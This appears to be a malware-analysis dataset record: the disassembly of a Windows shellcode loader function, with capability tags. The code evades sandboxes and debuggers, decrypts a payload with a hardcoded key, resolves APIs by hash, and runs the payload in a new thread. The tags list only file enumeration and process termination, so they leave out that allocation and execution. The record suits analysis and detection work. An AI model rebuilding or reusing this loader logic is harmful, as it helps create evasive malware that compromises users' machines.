Function at 0x140011267
Capabilities:
Enumerate files on windows
Get common file path
Terminate process

Disassembly:
jmp 0x140015dd0
push rbp
push rdi
sub rsp, 0xad8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1ea
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001d2c8]
xor rax, rbp
mov qword [rbp + 0xa98], rax
lea rcx, [0x140023105]
call fcn.14001137a
mov dword [rbp + 0x64], 0
lea rax, [rbp + 0x88]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersion
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rbp + 0xa4], eax
cmp dword [rbp + 0xa4], 0
je 0x140015e54
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov dword [rbp + 0x584], 0
lea rdx, [rbp + 0x320]
lea rcx, [rbp + 0xd0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rbp + 0x2f8], rax
cmp qword [rbp + 0x2f8], 0xffffffffffffffff
je 0x140015edf
mov eax, dword [rbp + 0x320]
and eax, 0x10
test eax, eax
jbe 0x140015eba
mov eax, dword [rbp + 0x584]
inc eax
mov dword [rbp + 0x584], eax
lea rdx, [rbp + 0x320]
mov rcx, qword [rbp + 0x2f8]
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140015e9f
mov rcx, qword [rbp + 0x2f8]
call qword [sym.imp.KERNEL32.dll_FindClose]
mov edx, dword [rbp + 0x584]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
cmp dword [rbp + 0x584], 0
jne 0x140015f03
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140015f15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x14001d1e0]
mov r9d, 0x11
lea r8, str.mysupersecretkey
mov edx, eax
lea rcx, [0x14001d1d0]
call fcn.1400111a9
lea rax, [0x14001d1d0]
mov qword [rbp + 0x5a8], rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp + 0x5c8], rax
mov edx, 0x3283c47
mov rcx, qword [rbp + 0x5c8]
call fcn.140011940
mov qword [rbp + 0x5e8], rax
mov edx, 0x964f1ef
mov rcx, qword [rbp + 0x5c8]
call fcn.140011940
mov qword [rbp + 0x608], rax
mov edx, 0x1c6a5211
mov rcx, qword [rbp + 0x5c8]
call fcn.140011940
mov qword [rbp + 0x628], rax
mov edx, 0x2f726bf
mov rcx, qword [rbp + 0x5c8]
call fcn.140011940
mov qword [rbp + 0x648], rax
mov edx, 0xaf757dae
mov rcx, qword [rbp + 0x5c8]
call fcn.140011940
mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x5e8]
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x608]
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x628]
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x648]
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x668]
mov qword [rbp + 0x708], rax
mov eax, dword [0x14001d1cc]
mov r9d, 4
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [rbp + 0x688]
mov qword [rbp + 8], rax
mov eax, dword [0x14001d1cc]
mov r9d, 0x11
lea r8, str.mysupersecretkey
mov edx, eax
lea rcx, section..data
call fcn.1400111a9
mov eax, dword [0x14001d1e4]
mov r9d, 0x11
lea r8, str.mysupersecretkey
mov edx, eax
lea rcx, [0x14001d1e8]
call fcn.1400111a9
lea rax, [0x14001d1e8]
mov qword [rbp + 0x728], rax
mov eax, dword [0x14001d1cc]
mov r8d, eax
lea rdx, section..data
mov rcx, qword [rbp + 8]
call qword [rbp + 0x6a8]
mov eax, dword [0x14001d208]
mov r9d, 0x11
lea r8, str.mysupersecretkey
mov edx, eax
lea rcx, [0x14001d1f8]
call fcn.1400111a9
lea rax, [0x14001d1f8]
mov qword [rbp + 0x748], rax
mov eax, dword [0x14001d20c]
mov r9d, 0x11
lea r8, str.mysupersecretkey
mov edx, eax
lea rcx, [0x14001d210]
call fcn.1400111a9
lea rax, [0x14001d210]
mov qword [rbp + 0x768], rax
mov eax, dword [0x14001d234]
mov r9d, 0x11
lea r8, str.mysupersecretkey
mov edx, eax
lea rcx, [0x14001d220]
call fcn.1400111a9
lea rax, [0x14001d220]
mov qword [rbp + 0x788], rax
mov eax, dword [0x14001d1cc]
lea r9, [rbp + 0x64]
mov r8d, 0x20
mov edx, eax
mov rcx, qword [rbp + 8]
call qword [rbp + 0x6c8]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
je 0x140016187
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 8]
xor edx, edx
xor ecx, ecx
call qword [rbp + 0x6e8]
mov qword [rbp + 0x48], rax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x48]
call qword [rbp + 0x708]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001ad30]
call fcn.14001130c
mov rax, rdi
mov rcx, qword [rbp + 0xa98]
xor rcx, rbp
call fcn.1400111ae
lea rsp, [rbp + 0xaa8]
pop rdi
pop rbp
ret